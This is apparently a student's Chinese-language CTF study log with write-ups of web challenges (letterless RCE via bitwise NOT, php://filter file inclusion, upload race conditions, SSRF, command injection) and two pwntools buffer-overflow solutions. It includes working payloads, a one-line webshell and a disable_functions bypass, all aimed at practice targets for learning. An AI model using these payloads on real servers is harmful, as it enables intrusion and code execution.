暑期第二周

web

[SWPUCTF 2021 新生赛]hardrce

首先看源码

这里的代码主要是一个黑名单,一个是禁用所有字母,就想到无字母的方法(自增、取反、异或)

在黑名单中看,自增的加号被禁用了,异或的^符号被禁用了,但是取反没有被禁用,我们就试试取反

这里给一个取反代码:

复制代码
#!/usr/bin/env python
# -*- coding: UTF-8 -*-

import urllib.parse as urlparse

# 获取用户输入的函数名和命令
system = input('[+]your function: ').replace('\r\n', '').replace('\r', '').replace('\n', '')
command = input('[+]your command: ').replace('\r\n', '').replace('\r', '').replace('\n', '')

# 按位取反并转换为字节
def invert_to_bytes(s):
    return bytes([(~ord(c)) & 0xFF for c in s])

# 生成URL编码后的字符串
encoded_system = urlparse.quote(invert_to_bytes(system))
encoded_command = urlparse.quote(invert_to_bytes(command))

# 输出最终结果
print(f'[*] (~{encoded_system})(~{encoded_command});')

利用取反代码输入需要的命令,得到的结果就是我们直接传参的东西

这样子说明是成功了的,那就可以行得通 那就找flag的位置,然后cat

cat文件

[SWPUCTF 2021 新生赛]finalrce

在代码的最下面看到了exec函数,那么就是一个无回显的rce,在注意一下绕过黑名单

黑名单里面有ls,但是我们先试一下用ls

不成功,用管道符绕过一下现在成功了,但是需要处理无回显这个东西

直接去看根目录

没有回显就将回显的结果写入另一个文件中

然后再去访问这个1.txt文件看到有flag,试一下吧

这里需要绕过黑名单cat和la

然后访问3.txt成功

fileinclude-攻防世界

开启环境后看界面先找一下源码

可以看到是cookie值传参

分析一下代码吧

是一个cookie值的传参,如果设置了language cookie,则包含以该值为文件名的PHP文件

那么就直接给language为flag

很遗憾,空白,懵了

尝试php伪协议

传入

复制代码
language=php://filter/convert.base64-encode/resource=flag

这里不要加**.php**因为源代码中就可以看到是将我们的language的值与.php进行拼接

所以直接得到的是flag.php的值(base64的)所以就解码

题目名称-文件包含-攻防世界

开启环境,看到以为是一个简单的文件包含

就直接开始传入参数filename=system('ls'); 没成功(这个回复就一个大大的误导,让我在这个方向走了好久,都不对)

然后我又试了一下print函数看来是直接禁用了

试试php伪协议

不一样的显示,看来是触了黑名单

那就逐渐修改内容

继续是php伪协议,但是内容不同


php://filter伪协议的格式

复制代码
php://filter/[过滤器链]/resource=[文件路径]

而这个过滤器链也很丰富其实除了这种以外还可以用组合型,就比如在base64编码下又进行ROT13编码

使用 convert.iconv.[]过滤器,[]中支持以下字符编码(* 表示该编码也可以在正则表达式中使用)

复制代码
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
...
\\具体支持的编码可见php官方文档
\\https://www.php.net/manual/zh/mbstring.supported-encodings.php

上面我们尝试了base64的,再试一下第二个常用转换过滤器,将编码都试一下

还是不行

再换下一个现在又显示了正确又不正确的回复

那么就改一下编码得到了不一样的结果

再换一个发型又回去了

所以应该就是上面那个编码那么就将这个编码分别作为输出编码和输入编码与其他编码进行组合来试试

最后经过多次尝试:成功

在这里的payload:/?filename=php://filter//convert.iconv.SJIS-win*.UCS-4*/resource=/var/www/html/flag.php

wzsc_文件上传-攻防世界

首先开启环境后就是一个简单的文件上传的界面但是无论传入什么名字的文件都显示为空白界面

那bp抓包看一下

显示200,说明是成功的,但是不确定有没有上传到文件夹中

我们就试试常见的那种文件夹在upload文件夹中,试试php文件后缀可不可以

文件夹中没有看到有php文件

说明php文件是能上传,但是不会被传入文件夹中,说明可能是有白名单或者黑名单之类的,被检测到就会被删除,也就是条件竞争

这里的条件竞争只是我们的猜测,所以我们试试能不能扫出源码

还真扫到了

访问看看

nothing

梅开二度

好的,什么源码都没有,那就只能盯着那个upload文件夹看结果来推测

经过尝试,图片型(后缀)不会被删除

后缀php(含大小写,数字),.htaccess文件 ,phtml文件都会被删除

那就确定了条件竞争

那么我们的一句话代码就是创建一个新的php文件,而新php文件中的内容是一句话木马

复制代码
<?php fputs(fopen("info.php", "w"), "<?php phpinfo("cmd"); ?>"); ?>

再次使用bp抓包,但是这一次发包给intruder,选择非负载选择10000次数的爆破,然后刷新upload文件夹,直至出现php文件为止

然后进行蚁剑连接,连接成功后就去找flag的位置,然后就可以得到flag了

题目名称-SSRF Me-攻防世界

开启环境后,很明显的ssrf

但是这里我们看到下面还有一栏,是需要验证码

简单分析,就是将原本的验证码进行md5加密后取他的后六位

那么我们就需要去找到这个验证码,没关系,写个代码来爆

复制代码
from hashlib import md5
b = '0'

def caculate_md5(text,encoding='utf-8'):
    hash_md5 = md5()
    hash_md5.update(text.encode(encoding))
    a = hash_md5.hexdigest()
    result = a[-6:]
    return result

while True:
    if caculate_md5(b) == 'd489fd':
        print(f'所输入验证码是:{b}')
        print(f'MD5值是:{md5(str(b).encode()).hexdigest()}')
        break
    b = str(int(b) + 1)

这里得到的结果:

填上去之后得到下一个这里先试试直接访问flag.php那看来是有黑名单的

我们试试index.php

又进入下一层,说明php不是黑名单,那么就是flag

我们将flag换个说法看看

这里我换成了fl4g.php这个结果应该是不存在这个文件

再试试编码呢,只针对flag进行url编码(因为前面印证了php的后缀没有问题)

结果:%66%6c%61%67

还是不行

那我们换到file协议呢(可能被提示误导了)

这样没有任何报错的显示,也没有flag

换换文件

删除了.php的后缀

NSSCTF_命令注入

这一道题很奇怪啊

我是在rce中看到的题

但是进去发现和我们平时看到的那种能够看到源码的rce完全不同

朴素的页面,看不出任何东西

看源码吧

这里可以看到是post的表单提交方式

而且限定了值为127.0.0.1

那就是用到rce的命令执行来绕过

所以我们直接在后面加上| ls再来看看根目录

又很奇怪,没有flag的存在

这就没法了

然后我们看到别人wp提到env,去了解一下


env 命令本身并不直接导致远程代码执行(RCE)。env 命令用于显示和修改环境变量,而RCE 漏洞通常是由于程序对用户输入未正确处理,导致恶意代码被执行。如果一个程序不安全地使用env 命令的结果,并且该结果来自不可信的来源(例如用户输入),那么就可能存在RCE 漏洞。

假设有一个程序,它使用 os.system(os.environ['USER_INPUT']) 来执行用户输入,并且这个用户输入是通过 env 命令获取的。


那这里我们就可以直接输入env来进入

猎奇

[鹏城杯 2022]简单包含(利用脏数据)

复制代码
打开环境后得到的源码

这里看到直接告诉了flag的位置, 那么就猜测是一个 本地文件包含

直接去访问这个文件竟然输出waf

那看来这个有问题

试试php伪协议

在hackbar中可以看到有直接的php伪协议模板然后我们点击后复制到POST中进行传参还是不行,去访问一下index.php看一下源码

去base64解码得到源码

复制代码
<?php

$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {S
    echo 'nssctf waf!';
} else {
    @include($path);
}
?>
<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php&nbsp;<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag&nbsp;in&nbsp;/var/www/html/flag.php;</span>
</span>
</code><br />

这里的关键代码就是if语句那一段

大致就是当所输入的字符长度小于八百且正则检测flag字符时就会输出"nssctf waf!"


这里拓展两个知识

与常见输入方法的对比

方法 获取内容 数据格式 大小限制
php://input 原始请求体 原始二进制/文本
$_POST 解析后的表单数据 数组 受限于 post_max_size
$_GET URL 查询参数 数组 URL 长度限制
$HTTP_RAW_POST_DATA 原始 POST 数据(已弃用) 原始数据

file_get_contents()函数

该函数的作用是将某文件读取为字符串

比如这里就是将php://输入流的所有内容读取为字符串,来确保strlen()函数的实现。


那么我们的payload就应该是前面有长度为800的字符,然后再输入我们的php伪协议

我的payload

1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111&flag=php://filter/convert.base64-encode/resource=flag.php

或者直接访问源代码所给的文件路径

得到的编码进行base64解码就可以了

bugku-MD5

下载附件,看到的是一段代码这里可以看到是需要a不等于md51,但是二者的md5加密的结果相同(注意这个比较是弱比较),那么我们看看md51进行md5加密后的结果,这个是md5加密的结果的比较要相同

md5弱类型绕过

0e绕过

0e绕过的原理

科学记数法是一种记数的方法。

计算器表达10的幂一般是用E或e

如:2 760 000 = 2.76×10^6 = 2.76e6

所以0e,无论后面跟什么值,都是0

以下是常见的字符串md5值为0e开头

原值 加密后的密文

QNKCDZO 0E830400451993494058024219903391

240610708 0E462097431906509019562988736854

s878926199a 0E545993274517709034328855841020

s155964671a 0E342768416822451524974117254469

s214587387a 0E848240448830537924465865611904

关于弱比较可以参考此文:1.10学习记录(弱比较)-CSDN博客

所以我们进行get传参

http://117.72.52.127.19237/?a=s878926199a

web31

复制代码
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

先看一下源码

这次过滤了空格,点,cat和单引号

使用%09绕过

成功了,那就继续

既然用不了cat就换一个

我们同样利用echo函数

利用反引号来执行tail%09fla*

tail 是 Linux 命令,用于查看文件的末尾内容。】

这里利用星号来进行通配符的使用

如果存在这样的文件,就直接输出文件的最后内容

方法二

或者使用跳板

/?c=eval($_GET[1]);&1=system("tac flag.php");

这个是先给c一个代码,将我们后续的操作在另一个里面传参进行

但是之前做其他的题也这样尝试却没有成功

[极客大挑战 2019]RCE ME

开启环境

看一下代码

复制代码
<?php
error_reporting(0);
if(isset($_GET['code'])){
  $code=$_GET['code'];
  if(strlen($code)>40){
    die("This is too Long.");
  }
  if(preg_match

("/[A-Za-z0-9]+/",$code)){
    die("NO.");
  }
  @eval($code);
}else{
    highlight_file(__FILE__);
}
?>

查找php的信息

由于该题的字母数字全部被禁用了

所以我们就采取无字母的形式

这里用取反

复制代码
?code=(~%8F%97%8F%96%91%99%90)();

使用一句话木马

复制代码
<?php 
error_reporting(0);

$a='assert';
$b=urlencode(~$a);
echo $b;

echo "<br>";
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);
echo $d;

 ?>

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);

进入之后直接找根目录下的flag

下面有两个文件,但是我们的shell不能执行命令

原因是我们之前查找phpinfo的时候,disable_functions 禁用了太多函数,我们需要绕开disable_functions

然后蚁剑

有一个插件有这样的功能

选择PHP_GC_UAF模式

然后回进入到一个虚拟shell模式,输入/readflag,得到flag

PWN

Polar靶场-简单溢出

https://www.polarctf.com/#/page/challenges

下载附件到虚拟机查看,去ida64查看main函数中有scanf函数,容易有栈溢出找一下后门函数写exp

复制代码
from pwn import*
r=remote('1.95.36.136',2087)
payload=b'a'*56+p64(0x40059A)
r.sendline(payload)
r.interactive()

Polar-没人能拒绝猫猫

下载附件,file&checksec一下文件64位,开了Canary保护和NX,然后ida64查看文件在main函数中我们需要注意这个比较的函数,比较的不是我们输入的,而是lovecat和s2,根据前面的s2的定义,我们转为字符串得到的tacetah,所以这就导致无论我们输入那个选项都注定得不到flag那看看read函数的buf我们可以写exp,将s2给覆盖

复制代码
from pwn import*
r=remote('1.95.36.136',2107)
payload=b'a'*(0x50-0x30)+b'lovecat\x00'
r.sendline(payload)
r.interactive()

这里的lovecat后面加上\x00是必要的(虽然感觉好像用处不大,但是实践可以知道去掉就比对不成功了)个人理解:buf与s2之间相差0x20,那么就输入了那么多字节的字符a,但是buf的读取总空间有0x28(s2的空间有8字节),但是如果只有lovecat(7字节)来覆盖s2的话,就会导致这里的字符不完全,覆盖可能就未覆盖完全。加上空字符既代表了这个字符串lovecat的结束,也能完全的将s2覆盖掉。

附一个链接

CTF中WEB题------RCE - tomyyyyy - 博客园

相关推荐
若梦plus13 分钟前
Nuxt.js基础与进阶
前端·vue.js
樱花开了几轉19 分钟前
React中为甚么强调props的不可变性
前端·javascript·react.js
风清云淡_A19 分钟前
【REACT18.x】CRA+TS+ANTD5.X实现useImperativeHandle让父组件修改子组件的数据
前端·react.js
小飞大王66620 分钟前
React与Rudex的合奏
前端·react.js·前端框架
若梦plus1 小时前
React之react-dom中的dom-server与dom-client
前端·react.js
若梦plus1 小时前
react-router-dom中的几种路由详解
前端·react.js
若梦plus1 小时前
Vue服务端渲染
前端·vue.js
duration~1 小时前
PostgreSQL并发控制
数据库·postgresql
Mr...Gan1 小时前
VUE3(四)、组件通信
前端·javascript·vue.js
pingzhuyan1 小时前
python入门篇12-虚拟环境conda的安装与使用
python·ai·llm·ocr·conda